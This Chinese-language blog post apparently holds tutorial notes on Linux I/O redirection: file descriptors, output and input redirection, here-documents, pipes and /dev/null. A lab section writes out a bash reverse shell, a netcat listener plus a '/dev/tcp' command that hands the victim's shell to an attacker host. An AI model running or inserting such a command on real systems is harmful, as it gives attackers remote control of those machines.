Linux重定向
发表于:2025-08-05 | 分类: Linux

Linux重定向

重定向可以改变命令的输入和输出默认路径。

而重定向操作符允许我们改变这些通道的方向。例如,我们可以使用 > 操作符将命令的输出保存到一个文件中,而不是打印到屏幕上。

1.FD:文件描述符(File Descriptor)目录

动态生成:当进程启动时,内核会在 /proc虚拟文件系统中为该进程创建一个以 PID 命名的目录(如 /proc/1234/),其中的 fd/子目录存储该进程的所有文件描述符信息

符号链接形式:fd/目录下的文件以数字命名(如 0、1、2),这些数字对应进程的文件描述符编号,并通过符号链接指向实际资源(如 /dev/pts/0、/var/log/file.log等)

1.查看进程id
1
ps aux #查看进程 可以看到123.txt在进程

image-20250805161513843

2.找到fd目录
1
2
3
#进程启动时会在啊/proc中为进程创建进程id命名的目录,进入查看
[root@farrah 桌面]# cd /proc/3221
[root@farrah 3221]# ls

可以找到fd文件描述符目录确实存在

image-20250805161822534

2.标准输入输出和错误输出流

首先深入了解输入、输出和错误这三个概念。

大多数命令从标准输入(stdin,通常是键盘)读取数据,将结果输出到标准输出(stdout,通常是屏幕),并将错误消息输出到标准错误(stderr,也通常是屏幕)。这三个通道默认情况下都是连接到我们的终端,即我们的屏幕和键盘。

每一个进程的fd目录下都会有0、1、2这三个文件描述符:

  • 0:标准输入流
  • 1:标准输出流
  • 2:标准错误流
查看文件描述符
1
ll fd #查看fd目录下的进程

image-20250805162052945

首先可以看到这些进程的文件描述符是以符号链接(l)的形式存在的;其次可以看到0,1,2这些数字即对应进程的文件描述符编号,他们指向实际实际资源。

3.输出重定向

重定向:可以更改默认的输入和输出路径

输出重定向即将输出的内容更改路径,例如本来输出显示在屏幕的,重新定向让其输出到一个文件或其他。

1.标准输出重定向

语法:

1
2
3
4
5
#1.覆盖写入
command [1]> file #将命令的标准输出(stdout)覆盖写入到文件(若文件不存在则创建)

#2.追加写入
command [1]>> file #将输出追加到文件末尾,保留原有内容

覆盖写入

image-20250805201947541

追加写入

image-20250805202514054

2.标准错误重定向
1
2
3
4
5
#1.覆盖写入
command 2> file #将错误信息(stderr)覆盖写入文件

#2.追加写入
command 2>> file

覆盖写入

image-20250805202731801

追加写入

image-20250805202805284

3.合并标准输出和错误输出

语法

1
2
3
4
5
6
7
#两个方法
command > file 2>&1 #可以理解为1> file将标准输出(文件描述符1)重定向到file再将错误输出重定向到1的指向,即指向同一文件
command &> file

#一般使用第一种
原因: &> 是 Bash 的扩展语法,并非所有 Shell 都支持
而 > file 2>&1 是 POSIX 标准语法,兼容性更广 (而且显得更有水平,逻辑性更强!)

image-20250805204154001

将 stdout 和 stderr 分别重定向到不同文件

image-20250805204711761

4.输入重定向

重定向:可以更改默认的输入和输出路径

因此**输入重定向 **即 将输入的东西重新定向为你给的文件,字符串

1.基础输入重定向(<)

将文件内容作为命令的输入,替代键盘输入。

语法

1
command < file

#此处相当于把我给定的桌面文件123.txt作为输入后正常输出

image-20250805170641962

2.Here Document(<<)

是 Linux/Shell 中的一种特殊输入重定向方式,允许在脚本或命令行中直接嵌入多行文本块作为命令的标准输入(stdin),而无需依赖外部文件。其核心功能是简化多行文本的传递和处理,尤其适用于交互式命令或脚本中的动态内容生成

简而言之:将两个分隔符(如 EOF)之间的多行文本作为命令的输入。

语法:

1
2
3
command << EOF
多行文本
EOF

实例:多行文本输入

image-20250805171232210

分隔符基本规则:

任意合法字符串:分隔符可以是任何不包含空格或特殊字符的字符串(如 EOFENDMYTEXT),但需满足以下条件:

(1)唯一性:分隔符不能在文本块内容中出现,否则会提前终止输入。

(2)独占一行:结束分隔符必须单独占一行,且前后不能有任何字符(包括空格)

(3)大小写敏感EOFeof被视为不同的分隔符。

  • 引号对分隔符的影响

1.未加引号的分隔符:默认启用变量替换、命令替换和算术扩展。

1
2
3
4
5
cat << EOF
当前用户: $USER
当前目录: $(pwd)
EOF
#输出user名并输出pwd当前路径

image-20250805173224258

2.加引号的分隔符(单/双引号):禁用所有替换,内容原样输出。

1
2
3
cat << 'EOF'/"EOF"
当前用户: $USER # 变量不会被替换
EOF

image-20250805173903648

3.Here String(<<<)

单行字符串作为命令的输入。

语法:

1
command <<< "字符串"

5.bash反弹shell

原理:

通过文件描述符重定向和 Linux 的特殊设备 /dev/tcp,将目标主机的 Shell 会话主动连接到攻击者监听的端口,实现远程交互式控制。

反弹shell顾名思义将shell反弹到攻击者主机,实际攻击中通过漏洞注入或诱骗执行命令将bash反弹的命令放到受害者主机,也就是下面一行代码,他利用了重定向功能,在本机将stdout和 stderr合并重定向到自己的主机,再将自己的输入也让其接受也就是输入重定向到tcp的连接,可以想象有一条电话线先实现输出从里面走,再将输入也指向这条线 ,最终把自己主机的输入输出用电话线送给受害者

攻击步骤:

1.攻击者首先开启端口监听

攻击者需先监听端口,目标主机“主动”连接,这是反弹 Shell 区别于正向 Shell(如 SSH)的关键(注意实验时候kali和Centos设置为同一网卡)

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─# nc -lvnp 3333
listening on [any] 3333 ... #listening on 正在监听

#nc 是 •netcat 的缩写,被称为“网络瑞士军刀”,用于处理 TCP/UDP 网络连接。它的常见用途包括端口监听、端口扫描、文件传输、网络调试等。
-l listen •监听模式:等待传入连接(服务端模式)。
-v verbose •详细输出:显示连接/通信的详细信息(如对方 IP、端口)。
-p port •指定端口:指定监听的端口号(某些版本中 -p 可省略,直接跟端口)。
-n 禁用dns解析

image-20250805194304046

2.在受害者主机插入命令

1
2
3
4
5
bash -i >& /dev/tcp/IP/端口 (0>&1)

#1.>&将标准输出和错误输出都重定向到TCP连接(电话线)。
#2.0>&1再将标准输入(0)也指向同一个TCP连接(1),形成**双向通信**(你发的命令通过TCP传过去,结果也通过TCP传回)
#-i表示启动一个交互式(interactive)Shell

image-20250805195223346

可以看见kali此时可以直接在本机输入命令,同样可以看见输出直接操作受害者主机,实现了远程控制

image-20250805195247428

image-20250805195652011

不用0>&1就不会将攻击者的输入连接到tcp连接上,即只将受害者主机输入内容输出到攻击者主机 实现了重定向输出到攻击者主机

image-20250805201038532

image-20250805201201691

6.管道(|)

管道将一个进程的标准输出给另一个进程作为标准输入

用法:

1
2
3
4
5
6
7
[root@farrah 桌面]# cat /etc/passwd | tail -3
tcpdump:x:72:72::/:/sbin/nologin
farrah:x:1000:1000:farrah:/home/farrah:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
[root@farrah 桌面]# tail -1 | cat error.txt
ls: 无法访问'aaa': 没有那个文件或目录
ls: 无法访问'aaa': 没有那个文件或目录

image-20250805210343301

7.黑洞设备(/dev/null)

可以说成是黑洞装置。为空,即不保存

可以把错误日志扔到黑洞设备,即丢掉错误输出。

上一篇:
进程管理
下一篇:
apache的搭建